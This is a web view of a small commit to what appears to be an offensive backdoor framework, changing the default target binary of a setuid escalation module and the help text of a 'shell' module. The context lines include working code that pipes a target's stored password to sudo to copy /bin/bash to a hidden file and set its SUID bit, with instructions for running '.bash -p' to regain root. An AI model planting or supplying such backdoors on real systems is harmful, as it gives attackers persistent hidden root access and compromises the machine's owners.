fixed setuid backdoor issue

securitywarrior · Jan 31, 2016 · 480d139 · 480d139
1 parent d06b008
commit 480d139
Show file tree

Hide file tree

Showing 2 changed files with 2 additions and 2 deletions.
diff --git a/backdoors/escalation/setuid.py b/backdoors/escalation/setuid.py
@@ -8,7 +8,7 @@ def __init__(self, core):
         self.intro = GOOD + "Using setuid priviledge escalation backdoor..."
         self.core = core
         self.options = {
-                "program"   : Option("program", "nano", "binary on which to set the setuid bit", True),
+                "program"   : Option("program", "/bin/nano", "binary on which to set the setuid bit", True),
                 }
         self.allow_modules = True
         self.modules = {} 

diff --git a/backdoors/escalation/shell.py b/backdoors/escalation/shell.py
@@ -13,7 +13,7 @@ def __init__(self, core):
 
         self.modules = {} 
         self.allow_modules = True
-        self.help_text = GOOD + "The shell backdoor is a priviledge escalation backdoor, similar to (but more powerful than) it's SetUID escalation brother. It duplicates the bash shell to a hidden binary, and sets the SUID bit. Unlike the SetUID backdoor though, this shell gives an unpriviledged user root priviledge with a full shell.  To use, while SSHed in as an unpriviledged user, simply run \".bash -p\", and you will have root access." 
+        self.help_text = GOOD + "The shell backdoor is a priviledge escalation backdoor, similar to (but more powerful than) it's SetUID escalation brother. It duplicates the bash shell to a hidden binary, and sets the SUID bit. Unlike the SetUID backdoor though, this shell gives an unpriviledged user root priviledge with a full shell.  Note that you need root access to initially deploy. To use, while SSHed in as an unpriviledged user, simply run \".bash -p\", and you will have root access." 
 
     def get_command(self):
         return "echo " + self.core.curtarget.pword + " | sudo -S cp /bin/bash " + self.get_value("name") + " && echo " + self.core.curtarget.pword + " | sudo -S chmod 4755 " + self.get_value("name")